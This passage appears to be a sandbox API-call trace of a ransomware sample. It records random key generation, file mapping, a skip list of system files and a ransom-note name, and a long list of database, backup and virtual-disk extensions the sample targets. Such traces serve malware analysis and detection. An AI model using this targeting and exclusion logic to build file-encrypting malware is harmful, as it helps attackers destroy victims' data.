hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1757048) returned 1 [0069.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0069.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0069.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0069.476] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0069.476] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0069.476] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.477] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ad280, lpName=0x0) returned 0x154 [0069.478] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ad280) returned 0x2d50000 [0069.552] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0069.553] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0069.553] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0069.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0069.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0069.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0069.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0069.553] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0069.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0069.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0069.554] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0069.569] CloseHandle (hObject=0x154) returned 1 [0069.569] CloseHandle (hObject=0x17c) returned 1 [0069.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0069.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0069.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0069.576] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3357b00, ftCreationTime.dwHighDateTime=0x1cba075, ftLastAccessTime.dwLowDateTime=0xcfdb94e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa3357b00, ftLastWriteTime.dwHighDateTime=0x1cba075, nFileSizeHigh=0x0, nFileSizeLow=0x36160, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DWGCNV.DLL", cAlternateFileName="")) returned 1 [0069.576] lstrcmpiW (lpString1="DWGCNV.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0069.576] lstrcmpiW (lpString1="DWGCNV.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0069.576] lstrcmpiW (lpString1="DWGCNV.DLL", lpString2=".") returned 1 [0069.576] lstrcmpiW (lpString1="DWGCNV.DLL", lpString2="..") returned 1 [0069.576] lstrcmpiW (lpString1="DWGCNV.DLL", lpString2="windows") returned -1 [0069.576] lstrcmpiW (lpString1="DWGCNV.DLL", lpString2="bootmgr") returned 1 [0069.576] lstrcmpiW (lpString1="DWGCNV.DLL", lpString2="temp") returned -1 [0069.577] lstrcmpiW (lpString1="DWGCNV.DLL", lpString2="pagefile.sys") returned -1 [0069.577] lstrcmpiW (lpString1="DWGCNV.DLL", lpString2="boot") returned 1 [0069.577] lstrcmpiW (lpString1="DWGCNV.DLL", lpString2="ids.txt") returned -1 [0069.577] lstrcmpiW (lpString1="DWGCNV.DLL", lpString2="ntuser.dat") returned -1 [0069.577] lstrcmpiW (lpString1="DWGCNV.DLL", lpString2="perflogs") returned -1 [0069.577] lstrcmpiW (lpString1="DWGCNV.DLL", lpString2="MSBuild") returned -1 [0069.577] lstrlenW (lpString="DWGCNV.DLL") returned 10 [0069.577] lstrcpyW (in: lpString1=0x241e89e, lpString2="DWGCNV.DLL" | out: lpString1="DWGCNV.DLL") returned="DWGCNV.DLL" [0069.577] lstrlenW (lpString="DWGCNV.DLL") returned 10 [0069.577] lstrlenW (lpString="Athena865") returned 9 [0069.577] lstrcmpiW (lpString1="WGCNV.DLL", lpString2="Athena865") returned 1 [0069.577] lstrlenW (lpString=".dll") returned 4 [0069.577] lstrcmpiW (lpString1="DWGCNV.DLL", lpString2=".dll") returned 1 [0069.577] lstrlenW (lpString=".lnk") returned 4 [0069.577] lstrcmpiW (lpString1="DWGCNV.DLL", lpString2=".lnk") returned 1 [0069.577] lstrlenW (lpString=".ini") returned 4 [0069.577] lstrcmpiW (lpString1="DWGCNV.DLL", lpString2=".ini") returned 1 [0069.577] lstrlenW (lpString=".sys") returned 4 [0069.577] lstrcmpiW (lpString1="DWGCNV.DLL", lpString2=".sys") returned 1 [0069.577] lstrlenW (lpString="DWGCNV.DLL") returned 10 [0069.577] lstrlenW (lpString="bak") returned 3 [0069.577] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0069.577] lstrlenW (lpString="ba_") returned 3 [0069.577] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0069.577] lstrlenW (lpString="dbb") returned 3 [0069.577] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0069.577] lstrlenW (lpString="vmdk") returned 4 [0069.577] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0069.577] lstrlenW (lpString="rar") returned 3 [0069.577] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0069.577] lstrlenW (lpString="zip") returned 3 [0069.577] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0069.577] lstrlenW (lpString="tgz") returned 3 [0069.578] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0069.578] lstrlenW (lpString="vbox") returned 4 [0069.578] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0069.578] lstrlenW (lpString="vdi") returned 3 [0069.578] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0069.578] lstrlenW (lpString="vhd") returned 3 [0069.578] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0069.578] lstrlenW (lpString="vhdx") returned 4 [0069.578] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0069.578] lstrlenW (lpString="avhd") returned 4 [0069.578] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0069.578] lstrlenW (lpString="db") returned 2 [0069.586] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0069.586] lstrlenW (lpString="db2") returned 3 [0069.587] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0069.587] lstrlenW (lpString="db3") returned 3 [0069.587] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0069.587] lstrlenW (lpString="dbf") returned 3 [0069.587] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0069.587] lstrlenW (lpString="mdf") returned 3 [0069.587] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0069.587] lstrlenW (lpString="mdb") returned 3 [0069.587] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0069.587] lstrlenW (lpString="sql") returned 3 [0069.587] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0069.587] lstrlenW (lpString="sqlite") returned 6 [0069.587] lstrcmpiW (lpString1="NV.DLL", lpString2="sqlite") returned -1 [0069.587] lstrlenW (lpString="sqlite3") returned 7 [0069.587] lstrcmpiW (lpString1="CNV.DLL", lpString2="sqlite3") returned -1 [0069.587] lstrlenW (lpString="sqlitedb") returned 8 [0069.587] lstrcmpiW (lpString1="GCNV.DLL", lpString2="sqlitedb") returned -1 [0069.587] lstrlenW (lpString="xml") returned 3 [0069.587] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0069.587] lstrlenW (lpString="$er") returned 3 [0069.587] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0069.587] lstrlenW (lpString="4dd") returned 3 [0069.587] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0069.587] lstrlenW (lpString="4dl") returned 3 [0069.587] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0069.587] lstrlenW (lpString="^^^") returned 3 [0069.587] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0069.587] lstrlenW (lpString="abs") returned 3 [0069.587] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0069.587] lstrlenW (lpString="abx") returned 3 [0069.587] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0069.587] lstrlenW (lpString="accdb") returned 5 [0069.588] lstrcmpiW (lpString1="V.DLL", lpString2="accdb") returned 1 [0069.588] lstrlenW (lpString="accdc") returned 5 [0069.588] lstrcmpiW (lpString1="V.DLL", lpString2="accdc") returned 1 [0069.588] lstrlenW (lpString="accde") returned 5 [0069.588] lstrcmpiW (lpString1="V.DLL", lpString2="accde") returned 1 [0069.588] lstrlenW (lpString="accdr") returned 5 [0069.588] lstrcmpiW (lpString1="V.DLL", lpString2="accdr") returned 1 [0069.588] lstrlenW (lpString="accdt") returned 5 [0069.588] lstrcmpiW (lpString1="V.DLL", lpString2="accdt") returned 1 [0069.588] lstrlenW (lpString="accdw") returned 5 [0069.588] lstrcmpiW (lpString1="V.DLL", lpString2="accdw") returned 1 [0069.588] lstrlenW (lpString="accft") returned 5 [0069.588] lstrcmpiW (lpString1="V.DLL", lpString2="accft") returned 1 [0069.588] lstrlenW (lpString="adb") returned 3 [0069.588] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0069.588] lstrlenW (lpString="adb") returned 3 [0069.588] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0069.588] lstrlenW (lpString="ade") returned 3 [0069.588] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0069.588] lstrlenW (lpString="adf") returned 3 [0069.588] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0069.588] lstrlenW (lpString="adn") returned 3 [0069.588] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0069.588] lstrlenW (lpString="adp") returned 3 [0069.588] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0069.588] lstrlenW (lpString="alf") returned 3 [0069.588] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0069.588] lstrlenW (lpString="ask") returned 3 [0069.588] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0069.588] lstrlenW (lpString="btr") returned 3 [0069.588] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0069.588] lstrlenW (lpString="cat") returned 3 [0069.589] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0069.589] lstrlenW (lpString="cdb") returned 3 [0069.589] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0069.589] lstrlenW (lpString="ckp") returned 3 [0069.589] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0069.589] lstrlenW (lpString="cma") returned 3 [0069.589] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0069.589] lstrlenW (lpString="cpd") returned 3 [0069.589] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0069.589] lstrlenW (lpString="dacpac") returned 6 [0069.589] lstrcmpiW (lpString1="NV.DLL", lpString2="dacpac") returned 1 [0069.589] lstrlenW (lpString="dad") returned 3 [0069.589] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0069.589] lstrlenW (lpString="dadiagrams") returned 10 [0069.589] lstrlenW (lpString="daschema") returned 8 [0069.589] lstrcmpiW (lpString1="GCNV.DLL", lpString2="daschema") returned 1 [0069.589] lstrlenW (lpString="db-journal") returned 10 [0069.589] lstrlenW (lpString="db-shm") returned 6 [0069.589] lstrcmpiW (lpString1="NV.DLL", lpString2="db-shm") returned 1 [0069.589] lstrlenW (lpString="db-wal") returned 6 [0069.589] lstrcmpiW (lpString1="NV.DLL", lpString2="db-wal") returned 1 [0069.589] lstrlenW (lpString="dbc") returned 3 [0069.589] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0069.589] lstrlenW (lpString="dbs") returned 3 [0069.589] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0069.589] lstrlenW (lpString="dbt") returned 3 [0069.589] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0069.589] lstrlenW (lpString="dbv") returned 3 [0069.589] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0069.589] lstrlenW (lpString="dbx") returned 3 [0069.589] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0069.589] lstrlenW (lpString="dcb") returned 3 [0069.589] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0069.590] lstrlenW (lpString="dct") returned 3 [0069.590] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0069.590] lstrlenW (lpString="dcx") returned 3 [0069.590] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0069.590] lstrlenW (lpString="ddl") returned 3 [0069.590] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0069.590] lstrlenW (lpString="dlis") returned 4 [0069.590] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0069.590] lstrlenW (lpString="dp1") returned 3 [0069.590] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0069.590] lstrlenW (lpString="dqy") returned 3 [0069.590] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0069.590] lstrlenW (lpString="dsk") returned 3 [0069.590] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0069.590] lstrlenW (lpString="dsn") returned 3 [0069.590] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0069.590] lstrlenW (lpString="dtsx") returned 4 [0069.590] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0069.590] lstrlenW (lpString="dxl") returned 3 [0069.590] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0069.590] lstrlenW (lpString="eco") returned 3 [0069.590] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0069.590] lstrlenW (lpString="ecx") returned 3 [0069.590] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0069.590] lstrlenW (lpString="edb") returned 3 [0069.590] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0069.590] lstrlenW (lpString="epim") returned 4 [0069.590] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0069.590] lstrlenW (lpString="fcd") returned 3 [0069.590] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0069.590] lstrlenW (lpString="fdb") returned 3 [0069.590] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0069.590] lstrlenW (lpString="fic") returned 3 [0069.591] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0069.591] lstrlenW (lpString="flexolibrary") returned 12 [0069.591] lstrlenW (lpString="fm5") returned 3 [0069.591] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0069.591] lstrlenW (lpString="fmp") returned 3 [0069.591] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0069.591] lstrlenW (lpString="fmp12") returned 5 [0069.591] lstrcmpiW (lpString1="V.DLL", lpString2="fmp12") returned 1 [0069.591] lstrlenW (lpString="fmpsl") returned 5 [0069.591] lstrcmpiW (lpString1="V.DLL", lpString2="fmpsl") returned 1 [0069.591] lstrlenW (lpString="fol") returned 3 [0069.591] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0069.591] lstrlenW (lpString="fp3") returned 3 [0069.591] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0069.591] lstrlenW (lpString="fp4") returned 3 [0069.591] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0069.591] lstrlenW (lpString="fp5") returned 3 [0069.591] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0069.591] lstrlenW (lpString="fp7") returned 3 [0069.591] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0069.591] lstrlenW (lpString="fpt") returned 3 [0069.591] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0069.591] lstrlenW (lpString="frm") returned 3 [0069.591] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0069.591] lstrlenW (lpString="gdb") returned 3 [0069.591] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0069.591] lstrlenW (lpString="gdb") returned 3 [0069.591] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0069.591] lstrlenW (lpString="grdb") returned 4 [0069.591] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0069.591] lstrlenW (lpString="gwi") returned 3 [0069.591] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0069.591] lstrlenW (lpString="hdb") returned 3 [0069.592] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0069.592] lstrlenW (lpString="his") returned 3 [0069.592] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0069.592] lstrlenW (lpString="ib") returned 2 [0069.592] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0069.592] lstrlenW (lpString="idb") returned 3 [0069.592] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0069.592] lstrlenW (lpString="ihx") returned 3 [0069.592] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0069.592] lstrlenW (lpString="itdb") returned 4 [0069.592] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0069.592] lstrlenW (lpString="itw") returned 3 [0069.592] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0069.592] lstrlenW (lpString="jet") returned 3 [0069.592] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0069.592] lstrlenW (lpString="jtx") returned 3 [0069.592] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0069.592] lstrlenW (lpString="kdb") returned 3 [0069.592] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0069.592] lstrlenW (lpString="kexi") returned 4 [0069.592] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0069.592] lstrlenW (lpString="kexic") returned 5 [0069.592] lstrcmpiW (lpString1="V.DLL", lpString2="kexic") returned 1 [0069.592] lstrlenW (lpString="kexis") returned 5 [0069.592] lstrcmpiW (lpString1="V.DLL", lpString2="kexis") returned 1 [0069.592] lstrlenW (lpString="lgc") returned 3 [0069.592] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0069.592] lstrlenW (lpString="lwx") returned 3 [0069.592] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0069.592] lstrlenW (lpString="maf") returned 3 [0069.592] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0069.592] lstrlenW (lpString="maq") returned 3 [0069.592] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0069.592] lstrlenW (lpString="mar") returned 3 [0069.593] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0069.593] lstrlenW (lpString="marshal") returned 7 [0069.593] lstrcmpiW (lpString1="CNV.DLL", lpString2="marshal") returned -1 [0069.593] lstrlenW (lpString="mas") returned 3 [0069.593] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0069.593] lstrlenW (lpString="mav") returned 3 [0069.593] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0069.593] lstrlenW (lpString="maw") returned 3 [0069.593] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0069.593] lstrlenW (lpString="mdbhtml") returned 7 [0069.593] lstrcmpiW (lpString1="CNV.DLL", lpString2="mdbhtml") returned -1 [0069.593] lstrlenW (lpString="mdn") returned 3 [0069.593] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0069.593] lstrlenW (lpString="mdt") returned 3 [0069.593] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0069.593] lstrlenW (lpString="mfd") returned 3 [0069.593] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0069.593] lstrlenW (lpString="mpd") returned 3 [0069.593] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0069.593] lstrlenW (lpString="mrg") returned 3 [0069.593] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0069.593] lstrlenW (lpString="mud") returned 3 [0069.593] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0069.593] lstrlenW (lpString="mwb") returned 3 [0069.593] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0069.593] lstrlenW (lpString="myd") returned 3 [0069.593] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0069.593] lstrlenW (lpString="ndf") returned 3 [0069.593] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0069.593] lstrlenW (lpString="nnt") returned 3 [0069.593] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0069.594] lstrlenW (lpString="nrmlib") returned 6 [0069.594] lstrcmpiW (lpString1="NV.DLL", lpString2="nrmlib") returned 1 [0069.594] lstrlenW (lpString="ns2") returned 3 [0069.594] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0069.594] lstrlenW (lpString="ns3") returned 3 [0069.594] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0069.594] lstrlenW (lpString="ns4") returned 3 [0069.594] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0069.594] lstrlenW (lpString="nsf") returned 3 [0069.594] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0069.594] lstrlenW (lpString="nv") returned 2 [0069.594] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0069.594] lstrlenW (lpString="nv2") returned 3 [0069.594] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0069.594] lstrlenW (lpString="nwdb") returned 4 [0069.594] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0069.594] lstrlenW (lpString="nyf") returned 3 [0069.594] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0069.594] lstrlenW (lpString="odb") returned 3 [0069.594] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0069.594] lstrlenW (lpString="odb") returned 3 [0069.594] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0069.594] lstrlenW (lpString="oqy") returned 3 [0069.594] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0069.594] lstrlenW (lpString="ora") returned 3 [0069.594] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0069.594] lstrlenW (lpString="orx") returned 3 [0069.594] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0069.594] lstrlenW (lpString="owc") returned 3 [0069.594] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0069.594] lstrlenW (lpString="p96") returned 3 [0069.594] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0069.595] lstrlenW (lpString="p97") returned 3 [0069.595] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0069.595] lstrlenW (lpString="pan") returned 3 [0069.595] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0069.595] lstrlenW (lpString="pdb") returned 3 [0069.595] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0069.595] lstrlenW (lpString="pdm") returned 3 [0069.595] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0069.595] lstrlenW (lpString="pnz") returned 3 [0069.595] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0069.595] lstrlenW (lpString="qry") returned 3 [0069.595] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0069.595] lstrlenW (lpString="qvd") returned 3 [0069.595] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0069.595] lstrlenW (lpString="rbf") returned 3 [0069.595] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0069.595] lstrlenW (lpString="rctd") returned 4 [0069.595] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0069.595] lstrlenW (lpString="rod") returned 3 [0069.595] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0069.595] lstrlenW (lpString="rodx") returned 4 [0069.595] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0069.595] lstrlenW (lpString="rpd") returned 3 [0069.595] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0069.595] lstrlenW (lpString="rsd") returned 3 [0069.595] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0069.595] lstrlenW (lpString="sas7bdat") returned 8 [0069.595] lstrcmpiW (lpString1="GCNV.DLL", lpString2="sas7bdat") returned -1 [0069.595] lstrlenW (lpString="sbf") returned 3 [0069.595] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0069.595] lstrlenW (lpString="scx") returned 3 [0069.595] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0069.596] lstrlenW (lpString="sdb") returned 3 [0069.596] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0069.596] lstrlenW (lpString="sdc") returned 3 [0069.596] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0069.596] lstrlenW (lpString="sdf") returned 3 [0069.596] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0069.596] lstrlenW (lpString="sis") returned 3 [0069.596] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0069.596] lstrlenW (lpString="spq") returned 3 [0069.596] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0069.596] lstrlenW (lpString="te") returned 2 [0069.596] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0069.596] lstrlenW (lpString="teacher") returned 7 [0069.596] lstrcmpiW (lpString1="CNV.DLL", lpString2="teacher") returned -1 [0069.596] lstrlenW (lpString="tmd") returned 3 [0069.596] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0069.596] lstrlenW (lpString="tps") returned 3 [0069.596] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0069.596] lstrlenW (lpString="trc") returned 3 [0069.596] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0069.596] lstrlenW (lpString="trc") returned 3 [0069.596] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0069.596] lstrlenW (lpString="trm") returned 3 [0069.596] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0069.596] lstrlenW (lpString="udb") returned 3 [0069.596] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0069.596] lstrlenW (lpString="udl") returned 3 [0069.596] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0069.596] lstrlenW (lpString="usr") returned 3 [0069.596] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0069.596] lstrlenW (lpString="v12") returned 3 [0069.596] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0069.596] lstrlenW (lpString="vis") returned 3 [0069.596] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0069.597] lstrlenW (lpString="vpd") returned 3 [0069.597] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0069.597] lstrlenW (lpString="vvv") returned 3 [0069.597] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0069.597] lstrlenW (lpString="wdb") returned 3 [0069.597] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0069.597] lstrlenW (lpString="wmdb") returned 4 [0069.597] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0069.597] lstrlenW (lpString="wrk") returned 3 [0069.597] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0069.597] lstrlenW (lpString="xdb") returned 3 [0069.597] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0069.597] lstrlenW (lpString="xld") returned 3 [0069.597] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0069.597] lstrlenW (lpString="xmlff") returned 5 [0069.597] lstrcmpiW (lpString1="V.DLL", lpString2="xmlff") returned -1 